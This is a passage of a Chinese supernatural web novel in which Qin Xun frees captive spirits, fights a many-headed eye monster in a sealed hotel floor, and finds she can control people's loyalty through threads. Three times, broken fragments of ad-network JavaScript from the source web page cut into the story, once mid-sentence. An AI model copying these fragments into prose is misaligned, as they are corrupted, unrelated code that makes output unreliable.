袁娜喝道:“子弹都打不穿,你怎么可能用手……” 话音未落,那个手电筒在秦熏手里四分五裂,碎得像饼干渣一样。 8. 蜕灵 刺目的光流水似的褪去,最后一丝光也终于离开秦熏的发梢。 她握着手里的碎片,一时怔愣。 她知道自己刚刚捏碎了什么,虽然那东西看不见摸不着,但她肯定捏碎了什么。 她的意识似乎和什么东西发生了“碰撞”,尘封的记忆上的锁剧烈颤动,裂开一条细缝,一些记忆碎片从里面挤了出来。 她看见自己在雪山,在丛林,在海上,在荒漠中独行,看见自己和各种奇形怪状的东西撕扯,看见自己江边的沙滩上,围着一个盒子绘制繁复咒文,然后一把火烧了它。 一幕幕闪得飞快,她试图捕捉到什么,可它们转瞬即逝,像海面跃起的飞鱼,很快又潜入幽暗的海面之下。 下一瞬,钉在窗子前所有亡魂身上的楔子土崩瓦解,整个医院的楼房像被火烧着的胶片一样飞快褪色消逝。 秦抬头看去,窗外的景色疾速变化,就像在一辆飞驰的车里一样,追着离此地而去的光。 那道光扑向丛林,与重又出现的林外原野上无边无际的黑暗交融,齐齐消失,化作虚无。 她晕得厉害,就像动态视觉不好的人摸黑玩3d游戏,胃里翻腾不止,眼前更是只能看见一块又一块的光斑,耳边的声音也异常飘忽,她分辨了很久才听出来那是阿冬。 阿冬递给她一个打开的瓶子,“你这是灵魂受创的体现,会眩晕头痛一段时间。喝下去会好点儿。” 秦熏往嘴里灌了一口,一股齁甜味儿直冲嗓子眼儿,比糖浆还甜,她吞也不是,吐也不是,勉强睁开眼睛辨认那瓶子里装的是什么。 阿冬晃了晃瓶子:“蜕灵灵液,可以修补灵魂的。” 秦熏勉强咽了下去,霎时,整个人神清气爽,什么头晕目眩瞬间消失了。 视野重新变得清晰。 眼下所在之处不再是那个血肉工厂,而是最初进来时的那片奇怪森林。 头顶阳光透过茂密的枝叶落在她手上,居然已经是白天了。 她离开了那个工厂,一切结束了。 她第一反应就是给刘婷打电话。 如果刘婷真的被王赫骗进工厂,那现在应该也安全了吧。 失联小一周的刘婷终于接了她的电话:“喂?” 秦熏心头一喜:“没事吧?” 刘婷愣了一下:“我能有什么事?” 秦熏彻底放心了:“你没事就好,之前联系不上你我都急坏了。” 刘婷啊了一声,“哎哟,原来是为这个啊。我前几天跟我二叔在外面旅游呢,谁能想到峡谷里收不到信号,这刚回来,就看到你给我打了这么多个电话,给你回拨,你那头又没信号了。这会儿才总算联系上。” 秦熏一愣:“你不是听了王赫的电话去那商恒大厦了?” “害,我早都离职了,还给我打电话,谁搭理他。行了不说他了,我今天应该就回A市了,一会儿出来吃饭呗,给你带了礼物。” “啊,哦,好。” 秦熏茫然挂了电话,感情人家没上当啊,她真是白担心了。 她这才有心思看身旁的阿冬。 它手里拎着个瓶子,里面还剩下一小半液体,液体晶莹剔透,晃动间液面折射阳光,流光溢彩。 “这是什么东西?” “蜕灵灵液。用蜕灵灵珠研磨得到的汁液。”阿冬抬手指了指天边,“那些就是蜕灵。” 她顺着它手指的方向抬头,数不清的雪白肉团跟气球似的往天上飘,她认出那是原本在森林里的怪物们。 “……蜕灵?”她喃喃重复着这个陌生的名词,“它们这是要去哪儿?” “被关了这么久,好不容易被放出来,当然是回家。” 秦熏猛地坐直了,“它们就这样出去,不会害人吧?” 她可还记得这是一群会模仿人,顶替人身份的怪物。 阿冬闻言晃了晃手里的瓶子,“你也没必要把它们想象得那么坏。诺,知道是你放了它们,它们还贡献了几颗灵珠答谢你呢。” 秦熏讶异非常,“我?” 她最后只记得光与黑暗交融,紧接着周遭景象就跟蜡烛一样融化,就那么一会儿功夫,所有人或者鬼都不见了。 意识回笼时,她已经在这片森林里了。 阿冬解释道:“蜕灵们祖辈栖居水下,脾性温顺,厌恶陆地,在地面待久了会变得狂暴易怒。它们会本能地模仿自己喜欢的东西,植物或者动物,很少会这么统一地选择扮成人。因此我觉得这里会出现蜕灵很古怪,于是在工厂里搜寻了一圈,找到了这个。” 它手里拿着一个薄薄的小圆片,看上去像一张黑色光盘,不过只有半个巴掌大。 秦熏伸手接了过来,圆片很轻,托在手里跟空气似的,表面摸上去坑坑洼洼。 她刚想问这是什么东西,那圆片突然在她手心自发转了起来,越转越快,与秦熏掌心皮肤接触的地方甚至有些发烫。 不一会儿,圆片上方突然出现一个小小的人形投影。 那是个年轻男人,相貌称得上俊挺。他朝画面外颔首示意,脸上挂起公式化的微笑:“很高兴见到您,M52基地的主管阁下,我代表总部向您致以诚挚问候。” M52基地?主管?秦熏挑眉,“他这是在跟我说话?” “不,这只是一段录像。”阿冬示意她继续听。 投影中的男人继续道:“下面由我为您介绍M52基地的基本构成和您的主要职务。M52基地分为养殖区和生产区,两区各自独立,各有入口。” “养殖区负责对拟人蜕灵的筛选,也即从蜕灵中挑选出模仿人类能力最强的个体,这一过程由养殖区的结界算法自动完成,您只需要定期汇报成果。” “生产区需要您负责监管肉钱的生产,严格管理员工,并定期汇报,完成总部设定的指标。具体工作内容详参工作手册。介绍到此完毕,祝您工作愉快。” 小人说到这里就停了,圆片缓缓停止,投影消失,林中再次恢复寂静。 秦熏反应了好一会会儿才道:“所以这片森林就是养殖区?那些蜕灵被某种特殊力量困在结界里,模仿进入结界的人?” 结合她自己的亲身体验,林子里的蜕灵们想要离开森林,只有两种办法。 第一种方法是套着人类的外表,趁着林中公路通道打开时出去。 但这种方法存在限制,不可能有两只蜕灵顶着同一人的外表出去,否则就失去扮演人类,顶替人类的意义了,所以只能扮得最好的一个出去。 第二种方法就是离开森林去往工厂,也即生产区,但她和陈然已经试过了,肉体凡胎只会被那黑暗吃光抹净。 试了几次都不成功后,大部分蜕灵都会乖乖待在林中,等待有人进来,给它们提供出去的机会。 秦熏顿觉一阵恶寒,擅长模仿是蜕灵的天赋技能,设局者这做法分明是在压榨它们,逼它们内卷。 她此时也不知到底是该同情被关在这里的蜕灵,还是那些无辜闯进养殖区,被当做学习样本的普通人类。 好在现在一切都结束了,她摧毁了工厂,看样子养殖区也被她捅了个大窟窿,这些蜕灵终于能回归自由。 可她来得还是太晚,那些在生产区丧命的人类,她终究是没能救回来,而且这编号都排到M52了,一定还有其他基地。 秦熏将那原片翻来覆去,想再找找其他线索,但圆片正反一样,坑坑洼洼,看不出有任何文字或图案。 刚才那个视频,应该就是它所能提供的全部了。 端详了大半天,关于其他基地的位置和这些基地的幕后黑手是谁,她实在找不到头绪,只能暂时搁置。 她叹了口气,仰头看着逃离养殖区,回归家园的蜕灵。 这些圆滚滚的东西速度快得惊人,眨眼功夫就消失在了天边,难怪能把车砸得坑坑洼洼。 她忽然就有点好奇,“它们会去哪儿?既然它们喜欢水,难道会去海里?” “不会,”阿冬道,“蜕灵是淡水生物。它们喜欢吃水里的泥沙,所以越浑浊的水越好,譬如泥沙治理前的黄河,那时候黄河里就有很多这样的东西。” 喜欢吃泥沙?秦熏啧啧称奇,“那不是名副其实的吃土么,一般的土还不吃,非得就着水,吃河里的土,跟人吃汤泡饭一样。” “对,因为它们是土属性的灵。” 秦熏不禁吐槽,“土属性的灵,讨厌陆地?你觉得这合理吗?” 阿冬幽幽道:“都见过这工厂了,你居然还会觉得这种小事不合理? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 也是。秦熏掐了掐眉心,“说起这个,其他人呢?” 阿冬仰头看了眼天空,“那些名片离我很远,似乎在瞬间被传送到其他位置。” 秦熏心里一咯噔,“那王赫呢?” “也在那里。”阿冬沉吟片刻,道,“我无法确切感知他们的位置。只能判断是在现实世界里。” 秦熏心情沉痛,“意思是咱们把他弄丢了?” 一百万啊……她心隐隐作痛。她试图给王赫打电话,手机那头通了,就是没人接。 秦熏烦闷地原地踱步,来回走了几圈后,她眸中忽闪过一道光芒,“会不会被传送到另一个入口了?王赫是从商恒大厦那个入口来的。” “有可能。” 秦熏顿时有点激动,“走,现在就去,早点拿到尾款,我心里也安稳些。” -- 半个小时后,秦熏站在商恒大厦前的广场上,仰头望着眼前的高楼。 商恒大厦以前是商用办公楼,但这地风水可能是不怎么好,在这儿待过的大小公司倒闭的倒闭,破产的破产,久之就被空置了,后更是被收购改成了商恒酒店。 但商恒酒店显然也逃不过这里的风水,自开业以来怪事不断,生意愈发萧条,估计开不了几年也要倒闭了。 酒店大厅金碧辉煌,生意却冷清,堪称门可罗雀。 前台小姐马春懒洋洋倚在台前,支着下巴看剧。 秦熏人到了前台,她眼也不抬,漫不经心伸手:“身份证。” “我问一下,”秦熏从手机相册犄角旮旯里翻出以前公司团建时拍的照片,指着其中的王赫问:“你见过这个人没有?” “没见过,”见她不是来开房入住的,马春显然没了兴致,撩起眼皮瞥了照片一样,就继续看剧去了。 秦熏不甘心,又问,“那你们酒店近期出过怪事没有?” 马春有点不耐烦:“没有没有,到底住不住?不住就出去,别问这么多有的没的。” 秦熏冷冷看着她,“我明明听说你们这儿有人失踪,这难道不算怪事?” 她这话倒不假,袁娜就是在调查失踪案的时候被传送到那个世界中的。 她本就是有点攻击性的长相,板着脸时甚至有几分冷酷。 马春在她的注视下不由自主站了起来,语气有几分忐忑:“你……你是警察?” 秦熏不点头也不摇头,打量似的观察着酒店大厅,“人是在哪儿失踪的?” 见她如此,马春不敢托大,一五一十道:“715房间,1132房间都曾有人失踪。” “带我去看看。” “啊,”她有些犹豫,“可……可经理已经让我们把出过事的楼层封起来了,怕再有人出意外。” 秦熏坚持,“我要了解一下情况。” “那好吧,”马春取了串钥匙,“跟我来。” 她按下电梯,带秦熏先去了六楼,然后打开侧边的安全通道,“七楼的电梯门封死了,得从楼梯上去。” 七楼的楼道门上了锁,马春掏出钥匙开门,门后还有一堵水泥墙,把整个通道堵得严严实实。 她拍了拍墙,“诺,就是这样了。” 秦熏也摸摸墙壁:“既然只是几个房间出了事,为什么要把整个楼层封起来?还弄堵墙在这儿,把安全出口挡上,这不符合消防安全要求吧?” “我们也不想的,”马春苦笑,“这几层出过事的楼经常能听到人跑来跑去的脚步声,保安巡视时却没看见过任何人影。次数多了,大家都觉得邪乎,老板请人来看过,人家说这几层楼阴气太重,滋生怨灵,必须整个封死,否则就会出来害人。” “至于这堵墙……”马春抬手摸了摸水泥面,道,“这表面刷了大师特调的泥浆,由他跟他的徒弟们亲手搭起来的,说是可以防止怨灵穿墙而出,把它关在里头,而且墙里面嵌了几面铜镜,能慢慢磨死它们。” 秦熏眼皮抽了抽,“特调的泥浆?” “嗯,其实就是把符纸灰拌进水泥里,”马春耸了耸肩,“反正就多这么一步,这堵墙就比普通的墙贵了十来倍,不过堵上后里面确实再没动静,大家也就心安了。” 话音刚落,水泥墙那头传来敲击声,咚咚咚,节奏急促。 9. 巨眼 马春面色顿时煞白,“什…什么动静?” 秦熏摸了摸下巴,看来这墙没什么用,而且听声音好像还是空心的,这“大师”挺会偷工减料。 马春腿肚子直打颤,她忍不住后退,“怎么,怎么会,自从有了这堵墙后,明明好久都没有过动静的!” “什么时候堵上的?” “就一个月前。” “其他楼层也是这样?”秦熏尝试着敲了敲水泥墙。 “别敲!”马春喝道,“万一把里面的东西引出来怎么办!” 可能是这边的敲击声传了过去,墙对面的敲击声更巨大了,咚咚咚的,甚至连地板,砖墙都在震。 看见这阵仗,马春哪里还敢待在这儿,哆哆嗦嗦跑下楼。 但她很快又跑回来,脸色煞白,“你……你们还呆在这儿干啥,不赶紧走!” 秦熏贴在门上听了听,随后径直走到消防柜前,取出消防斧。 马春懵了:“你这是干什么!” 秦熏抡圆斧子,劈在墙上。 “你!”马春大骇,当即连害怕都顾不上,伸手就想来拉她,“劈坏了墙,里面的东西跑出来怎么办!” 阿冬按下她的手臂,淡淡道:“没关系,不管是什么东西,她都有办法的。” 马春微怔,愣愣道:“你们到底是什么人?” 阿冬刚要开口,秦熏幽幽转过脸盯着它,以示警告。 刚来的路上她千叮咛万嘱咐,怕的就是它逮着人又开始说什么她是驱魔大师,一口一个秦老师的,它不要脸她还要呢! 它推了推墨镜:“我们部门有规定,不好意思,女士,这是机密,我不能说。” “秘密部门?”马春被唬得一愣一愣的。 “对。看过X档案么?就是那种。”它语气严肃道,“以后再遇到灵异事件不要找这种只会做豆腐渣墙的江湖骗子了,要找就得找专业的。这是我们部门的联系方……” 秦熏一把夺回它试图发出去的名片,把消防斧塞进它手里,“够了,少说话,多做事。” 这家伙怎么这么热衷于满嘴跑火车和乱发名片,一天给自己一个人设,它当是在玩剧本杀呢? 马春啊了一声,看她的目光有些不一样了,“难怪。我之前还奇怪呢,按理说除了我们这些员工,就只有警察知道酒店的事。现在可算明白了,原来您是官方人员啊。” 秦熏:“……” 她扶额叹气,无力解释。 “千万不要出去乱说知道么?” 假冒公职人员的锅她可不敢背。 马春眼神亮晶晶地看着她,“知道知道。” 秦熏被她看得尴尬,“好了,你先回去吧,钥匙给我们,这两楼我们都一起处理了。” 有这好事,马春忙不迭答应,交出钥匙,头也不回地噔噔噔跑下楼。 阿冬伸手碰了碰被秦熏劈出来的那道口子,“后面有东西。” 秦熏颔首,肯定道:“没错,我刚才听到里面有人说话。” 虽然声音微弱,但她还是听清楚了,里面的人听上去很激动: “刚,刚是不是有人敲门?!外面是不是有人!救命!救命!我们被困在里面了!” “救命!快把这面墙打开!” “有人我们就有救了!还以为要被困死在这儿了!” 阿冬却道:“但我的感应跟你的想象不太一样。” 秦熏眼皮一跳,登时拉起十二分警惕。 阿冬把斧子还给她,“那是一只眼睛。盯准这个,除此之外,不要相信它的任何形态。” 秦熏心情一凛,紧了紧手里的斧头,斧头刃面变得光可鉴人,打眼一看居然跟镜子一样。 她有些诧异:“这斧子你也处理过了?” 阿冬点点头,“我先去另一层了,有事再联系。” 秦熏没有异议,分头行动的确会更快。 几乎是阿冬刚消失,那已经出现细缝的墙面便被墙后突如其来的一股力量挤开。 脆弱墙体咔嚓碎裂,跟饼干一样四分五裂,崩碎一地。 秦熏诧异看着墙后那团巨大的肉球,它大得惊人,将整个通道堵得严严实实,如果真要拿什么东西来堵上这个通道,那它一定比刚才那面水泥墙称职得多。 不是,这东西哪里像眼睛了?! 肉球并不光滑,表面麻麻赖赖,长着脓包。 细看之下,秦熏才知那一个个脓包原来是人的头颅。刚才隔着墙听见的人声,其实都是这些头上的嘴在说话。 人头七嘴八舌道:“太好了!我们出来了,得救了!” 有些甚至喜极而泣:“我还以为要被困在里面困到死!” 有些则沉浸在消沉情绪里,阴着脸低声喃喃:“该死,被困了这么久,都错过我那趟航班了,机票钱谁给我补?” “我儿子放学了,我现在去接他应该不会晚吧?” …… 每个头都在说话,它们神态各异,心情也迥乎不同,关心的事更是各有千秋,就像真的有很多个人站在秦熏跟前一样。 肉球缓慢地往前蠕动,似乎想把秦熏吞没,让她也变成这些头颅里的一员。 她灵巧避开,蹿上通往八楼的楼梯,警惕盯着这团东西。 肉球形态突然变化成蠕动的长筒形状,靠在下部的头颅变成了这条“长虫”的无数步足,支持着它飞快攀上楼梯,追着秦熏一路往上。 秦熏恼了,这东西根本不是人形,甚至根本不存在整体的头颅,更别提什么眼睛了。 她忙冲手机喊:“你给的情报不会有问题吧?” 阿冬那头的动静听上去格外刺耳,惨叫声隔着话筒震得她耳膜疼,它的声音混在其中听起来格外悠闲:“你别盯着它看嘛。” 哈?秦熏怒道:“不盯着它看怎么攻击!” “不是有斧子么?” 是吗?秦熏将信将疑,回身照着这恶心东西劈了下去。 斧刃陷入那团肉里,被紧紧包裹,动弹不得,她甚至感觉手里的斧头在被飞快吞噬。 她赶忙撒了手,下一瞬,寒光一现。 秦熏身体快过反应,敏捷避开,那寒芒擦过她的脸,直直砍在她身后的墙上——这怪物像吃坏了东西的人,把斧头喷了出来。 斧头深深嵌入墙面,雪亮的金属斧头表面倒映出她对面怪物的模样。 出乎意料,并非她眼前所见的恶心肉团,而是被丝线牵着的,无数的人。 他们都沉浸在自己的世界里,浑然不觉身边到底发生了什么,嘴里自顾自说着话,身体却像提线木偶一样在丝线的操纵下整齐划一地朝她逼近。 她恍然大悟,原来镜像中的才是它真正的模样! 阿冬说的不要盯着它看竟是这个意思。 秦熏提着消防斧,飞快往上又跑了几层,消防斧里的倒影也随着她位置的上升而上升,渐渐露出众人上方飘着的丝线牵引者。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那是一个眼球,眼球的瞳孔里探出无数细长得骇人的手,像秋菊那细细的、紧紧拥簇着的花瓣一样。 手轻轻撩拨着细长的线,跟弹琴似的,传出来的却非动人乐声,而是底下无数被线牵引着的人的怪叫。 有些空荡荡的线在空中努力抓取,想要连到秦熏身上。 秦熏记住丝线位置,朝它们挥出斧头,霎时,肉团剧烈收缩了一下,僵在原地。 透过斧面镜像,秦熏看见自己刚才那道攻击不止劈断了朝她而来的丝线,还带到了附近几人身上的丝线。 丝线试图再生,但斧头上被阿冬上了些“科技”,被劈断的丝线光速灰飞烟灭,再无重生可能。 脱离控制的几颗头颅露出一瞬间的迷茫,旋即惊恐万状,挣扎着想从肉球里脱身。 但周围其他被控制着的人齐齐发力,把它们困死在原地,它们只能看向秦熏。 秦熏见过这几张脸,他们是M52基地里的人类工人。 工人们也认出秦熏,看她的目光十分复杂。 秦熏仰头望着那只眼睛在的位置,悄悄摸了摸裤兜里的枪。 没记错的话,还剩一发子弹。 她二话不说,抬枪射击,幽蓝火焰呼啦一下烧了起来。 眼睛在火中剧烈挣扎,被它牵引控制着的人群也在痛苦哀嚎,他们的声音跟刀子一样,一寸一寸剜进人肉里。 糟了!怎么会烧到这些人身上?秦熏听得毛骨悚然,这些可都是活人啊。 她忙又问阿冬:“你那破火不会连着这些活人一起烧了吧!” “这不是火,而是一种空间转移术,如果作用对象是活人,会先将灵魂放逐,然后转移躯体。” 秦熏忍不住吐槽,“那跟被烧死有什么区别!赶紧赶紧,快点把火灭了。” 她可不想背上杀人的锅。 蓝焰应声熄灭,因为焚烧时间太短,那只眼睛还剩一大半,余下的手臂坚守阵地,更加凶悍地挥舞丝线。 已然清醒了的人无法挣脱,被神色狰狞的受控者们推挤着往前,惊惧到了极点,就成了愤怒。 他们痛苦而怨恨地瞪着秦熏,高声质问: “你为什么要把我们从基地带回人世受苦!” “为什么要毁了我们的基地?” “我想回去!” …… 秦熏恍了恍神,不是,费那老大劲把你们从那鬼地方放出来,结果还成她的不是了? 她被那一道道怨恨狰狞的目光看得浑身发冷。 顶上那只眼睛似乎察觉到她身心的松懈,趁虚而入,突然袭击。 秦熏挥手又是一斧头,斩开了几十条丝线,又有许多头颅恢复了清醒。 他们同样憎恨地瞪着她,嘴里污言秽语、辱骂不断。 秦熏最开始是听得心堵,听多了就开始火大,你们是谁啊?谁关心你们痛苦还是快乐,我爱做什么做什么,自己爽了就行。 她冷笑道:“谁管你们死活,我既然能随手毁了你们所谓安逸乐土,那当然也能随手把你们的头劈了,不想死就闭嘴!” 人群被她这冷喝吓到,抱怨声渐歇,只敢怒不敢言地瞪着她。 秦熏瞪回去,“看什么看,都给我扯住丝线,把上面那只眼睛拽下来,不然就把你们都劈了!” 说完,她杀鸡儆猴,手起刀落,把第一个出言不逊者的耳朵劈了下来。 不杀人是她的底线,但她也不是什么大善人。 10. 操控 原本还怨气满满的人群偃旗息鼓。他们此时终于明白,眼前这位不是什么好欺负的。 秦熏凌厉目光扫过人群,众人齐齐打了个哆嗦。 也不知是谁先伸的手,很快,所有清醒着的人都乖乖听话,举高手去扯其他人头顶的丝线。 秦熏提着斧头默默盯着,她刚刚劈砍时特意控制好了数量,确保清醒的人够多,能提供足够力量;又保留部分丝线,把眼睛留在这方区域。 人群在她的威慑下和眼睛拔河。 人多力量大这话不假,原本高悬空中的眼睛像西沉的月亮,难掩颓势,缓缓坠落。 那东西似乎意识到自己危在旦夕,眼球中的细手主动扯断所有丝线,意图重新回到高位,但它这时已经进了秦熏的攻击范畴。 她上了两个台阶,抡起斧头奋力一挥,锋利斧刃像是撞在什么硬物上,险些没给秦熏的手振麻。 她往斧面上一看,那些细长的手居然层层交叠,组成一层厚厚的盔甲,挡在脆弱的瞳仁前方。 秦熏刚刚那一斧子劈下去,只劈断了最上层的手。 她活动了一下发麻的手指,这东西还真硬,即使是被附魔过的武器,打起来还这么费劲? 她忽然想起在工厂弄那个手电筒的时候也是,枪打不碎的壳子,她手一捏,却跟豆腐渣一样脆弱。 难不成……她低头看了眼自己的手,又得亲自上手撕? 她抬头看了眼面前的肉团,说实话,要对这样的东西伸出手,需要克服的心理压力不是一般的大,当然,主要是恶心。 再看向镜面里的影像,也没好到哪儿去,那些手层层交叠,没骨头似的变形扭曲,搅和在一起。 就像跟春天进了蛇窝,撞见一大群正在□□的蛇,搞秦熏密恐都要犯了。 她深吸了一口气,抬手一抓,正正好薅住那巨眼上挂着的最低的一只手。 相触瞬间,整只巨眼都瞪大了,那些交握的手跟花一样绽开,然后迅速枯萎,跟面馆里的刀削面片似的,一条一条飞快往下脱落。 秦熏终于得见被无数手臂遮挡着的瞳孔,只一眼,便觉得眼睛到前额那一片针扎似的痛。 她本能地闭上眼,乱拳捣出。 手掌深入眼球内部,她摸到一块扁圆硬物。 脑子瞬间像过电了似的嗡了一下,陌生而混乱的声音从四面八方传进她耳里。 她听不清那些声音在说什么,只觉恶心想吐,很像徒手捏爆手电筒时跟那光直接接触的感觉。 理智促使她飞快撒手,但那种难以名状的异样感如跗骨之蛆,挥之不去。 她顶着额角剧痛和排山倒海般涌来的呕吐欲望,在眼睛里一阵胡乱捣鼓,也不知是打中了哪里,噗呲一声巨响,有几滴液体溅到脸上。 那种异样感终于消失了。 睁开眼时,肉球已经不见,取而代之的是塞满整个楼道和大半走廊的人。 头顶那颗高悬的眼珠已在秦熏的攻击下化作一摊烂泥,软趴趴躺在她脚边。 眼珠从中破开,内里透明晶莹的液体淌了一地,液体中混杂了些灰色半透明的人体碎片,见光挥发,不多时,留在地上的就只有一个巴掌大小的扁圆片,形似贝壳。 这大概率就是她刚刚在眼睛里摸到的东西。 有刚才那讨厌的经历,秦熏说什么都不敢再拿手去碰了。 她犹豫片刻,用斧头轻轻敲了敲贝壳,光洁斧面顷刻间被镀上一层斑斑锈迹,蚀刻痕迹顺着斧柄飞快向上蔓延,秦熏忙撒了手。 但她还是慢了一步,贝壳闪电般跃起,咬上她的手掌。 她刚想甩掉它,贝壳摇身一变,融成液态,迅速消失在她皮肤表面。 她整条手臂都木了,掌中斧头哐当落地,断成数段。 等了足足十来秒,手臂才恢复知觉。 她死死盯着手掌,没有,什么都没有,没有疤痕,没有伤口,也没有瘢痕,抓握正常,触感正常。 毫无异样。 若不是她亲眼所见,她绝对不会相信刚才的事情是真正发生过的。 等等,刚才发生了什么? 秦熏眨了眨眼睛,她顺利打死了巨眼,然后好像就没了,什么都没发生。 可地上这斧头是怎么回事?怎么断成这样? 她疑惑抬眼,四下观望,一眼看见王赫,他头上那张牙舞爪的吸血管着实醒目。 看见他的瞬间,她心中疑虑被抛至脑后。 “王赫!”她喊了一声,对方却没有回应。 不止如此,听到声音,本该下意识循声看过来的其他人也毫无反应。 这群人就只是静静立在原地,齐刷刷仰头,看向原来挂着那只眼睛的位置。 她心觉不对,随手把离她最近的一个人转了过来,他双目翻白,不见眼仁,只嘴唇蠕动不止,似乎在飞快说话,但没有声音,很像传说中的中邪。 再看其他人,皆是如此。 秦熏心念一动,忙又掏出手机,拿手机屏做镜子,镜中人群身上居然再度出现丝线。 难道还有一只眼睛? 她心猛地提了起来,一点点顺着丝线移动手机,找到丝线汇聚点。 咦?她眉头皱起,这不对劲吧。 再三确认就是这儿后,她瞪着手机屏幕,人都傻了。 好么,丝线这回居然汇聚在她手里了! 虽然她手里并无抓握丝线的感觉,但屏幕里,她的掌心就跟刚才那只眼睛一样,无数丝线汇聚于此。 她低头看了眼现实中自己的掌心,一眼定在掌间几道特殊纹路。 这些纹路一直都在她掌中,但她此前从未注意过——在她的感情线和智慧线间那个由几条细小纹路组成的图案,居然那么像眼睛。 虚拟的细丝交汇在那个“眼睛”里,之前怪物眼睛牵着众人的一幕再现于她掌间。 再神经大条的人,此时都不免后背一凉,秦熏也不例外。 她盯着镜面,尝试着拨动丝线。 楼里众人齐声一个大喘气,响亮的嗬气声连成一片,撞在狭窄楼道的四壁,又层层回荡出去,就像有人在这上不见顶下不见底的楼梯间不断叹气。 这一口气似乎把人们走失的魂拉了回来。 众人头颅摆正,眼黑归位,迷茫地环顾四周,嗡嗡低语,俨然已恢复正常。 秦熏眉头紧皱,再次拨动细丝,人群瞬间扭头看向站在台阶上方的秦熏,眼中写满敬崇与狂热。 “谢谢您救了我们。” “女神在上,感谢您的慈悲。” “我愿意做牛做马报答您。” “我会为您大修祭坛,把您供起来的。” …… 看着这一幕,秦熏没觉得爽,只觉得怪异。 这些人的表现和几分钟前大相径庭,甚至那个不久前叫嚣着让她还回乐园,辱骂不断的人也对她顶礼膜拜,浑然不记得自己的耳朵就是被她削去的。 太怪了,太怪了!再社牛的人面对这场面估计都会激起一身鸡皮疙瘩。 她缓缓后退,人群依旧热切憧憬望着她,“请您降下神谕!” 秦熏思绪百转。 刚才被头顶那只怪眼用丝线牵着的时候,他们疯狂敌视她,就像那只眼的信徒一样;而今风水轮流转,丝线到她这儿了,这些人又成了她的坚实拥趸了? 换句话说,用这些丝线,她就能随意操控他们的情感和信仰? 想想都很危险,这跟搞邪-教有什么区别! 她是个普普通通日子人,这辈子最大追求就是多赚点钱,能舒舒服服躺平后半生,这种事她想都没想过! 但这丝线又怎么扯都扯不断……秦熏叹了口气,无奈接受现实。 是他们非要黄袍加身,朕也不知该如何是好啊。 拥有一群虔诚的信徒有什么用,她现在还不清楚,第一反应是每人给她捐10万香火钱,她就能跃升成千万富翁了吧? 不不不,太缺德了。秦熏摸了摸下巴,得换成更温和,更不像非法集资的方法。 眼下她没啥头绪,但有件事是清楚明见的——既然王赫也成了她的信众,起码那一百万是绝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对稳了了。她原来其实还是有点担心这个资深老赖故技重施的。 人群依旧目光虔诚,等待她的指示。 秦熏轻咳一声,维持着面无表情,高深莫测,“王赫留下,其他人各回各家。” 王赫脸上满是欣喜和自满,似乎被她点中是无上荣耀,他骄傲抬起下巴,接受身边众人羡慕嫉妒的眼神。 秦熏啧啧称奇,他现在就像一只竭力讨好主人的哈巴狗,奴颜婢膝,极尽谄媚。 看着这张堆满褶子的油腻肥脸,她觉得怪异又恶心,更别说他头顶还“焊”着那几根狰狞的黑色吸血管。 王赫注意到她的目光,摸了摸头顶的黑块,虔诚道:“感谢您的恩赐。” 秦熏忍不住翻了个白眼,这东西可别想赖她头上,她径直问:“我的100万呢?” 王赫一愣,俨然跟忘了这回事一样:“啊?” 秦熏抱起胳膊,“啊什么啊,100万,赶紧给我。” 要不是为了这笔钱,她才不会追到这儿来。 王赫为难:“数额太大,我两个月内分批转给您行不行?今天先给您十万?” 秦熏想了想,他现在已经这样了,也不怕他赖账,“可以。” 虽然她更想要的是电视剧里那种直接一张支票解决问题,但怎样都是钱嘛,也就是快点慢点到手而已。 王赫感恩戴德,“您把银行账号给我吧,我这就给您转过去。” 第一笔钱到手后,秦熏心里美滋滋,这行来钱还真快! 她强压面上喜色,轻咳一声,“行了,你也走吧,记得每个星期定期汇款过来。” 王赫的身影消失在楼梯口,没多久,阿冬也不慌不忙从楼上下来,它身后跟着一个眼熟的鬼魂。 秦熏一愣,居然是工厂二楼的那只女鬼,袁娜。袁娜的状态看上去比之前更差了。 阿冬道:“11楼是个鬼蜮,她在里面受了点伤。” “你……” 不等秦熏开口询问,袁娜急忙道:“我……我有件事想托您帮忙。” 秦熏好奇:“什么事?” “希望您能帮我再见我女儿一面。” 秦熏有些讶异:“女儿?” 袁娜叹了口气,苍白透明的脸上带上几抹愁色:“我平时工作忙,陪她的时间本来就少,现在还……”她苦笑一下,“我估计坚持不了多久了,魂飞魄散前,我想再和她说说话。” “我是想帮你,”秦熏很是为难,“可我要怎么带你离开这里?”她看了眼女鬼透明的身体,“外面是大晴天,你能在太阳底下么?” 袁娜抬头看了眼顶上小窗处透进来的阳光,有些畏惧地又往后缩了缩,她犹豫片刻,又问:“那您能带她来见我一面么?我就在这儿等,酬劳的话我会……” 秦熏打断道,“不用了,顺手的事。你家在哪儿,女儿叫什么名字?” “袁珺,我女儿叫袁珺,我们家在华盛小区6栋702间。”她温和笑笑,“珺珺有点怕生,希望您不要介意。” 秦熏虽然不喜欢小孩,但仅限于熊孩子,对于那种乖巧怯懦,安静害羞的,她还是很能拿出耐心的。 见她答应,袁娜感激地笑笑,身形消失在七楼楼道。 “你上面遇到什么了?”秦熏边下楼边身后的阿冬。 “一些失去理智的鬼魂咯,11楼有个聚阴阵,吸引了很多怨魂,形成了一个小型鬼蜮。这大厦以前风水不好应该就是这个原因。” 阿冬说着步伐一顿,伸手摸了摸墙上因打斗而砍出的一道深缝。 那道缝宽有半掌,深难估测,“你的力量恢复了不少。” 秦熏回头一看,忽皱起眉头——它此时站的位置一半在阳光下。 同样是鬼,袁娜避之不及的阳光,它竟一点不怕。 她脱口而出:“你怎么不怕太阳?” “嗯?”阿冬不明就里,“为什么要怕?” 秦熏上下打量它,“你不是鬼么?” 阿冬耸了耸肩:“人死后才成鬼,我一不是人,二也没死过。” 11. 心声 秦熏正欲再问,脑中突然响起一道陌生的细小声音:【你看吧,你对它其实一点儿都不了解,你确定要相信它吗?这家伙来历不明,即便是跟你签了契约,契约里也没约定它如果违约的话会受什么惩罚吧?它万一是想害你呢?】 她困惑地动了动眉头,这个念头出现得过于突兀了。 是她自己的心声吗? 那声音又道:【除了你自己,又有谁能在你脑海里说话呢?】 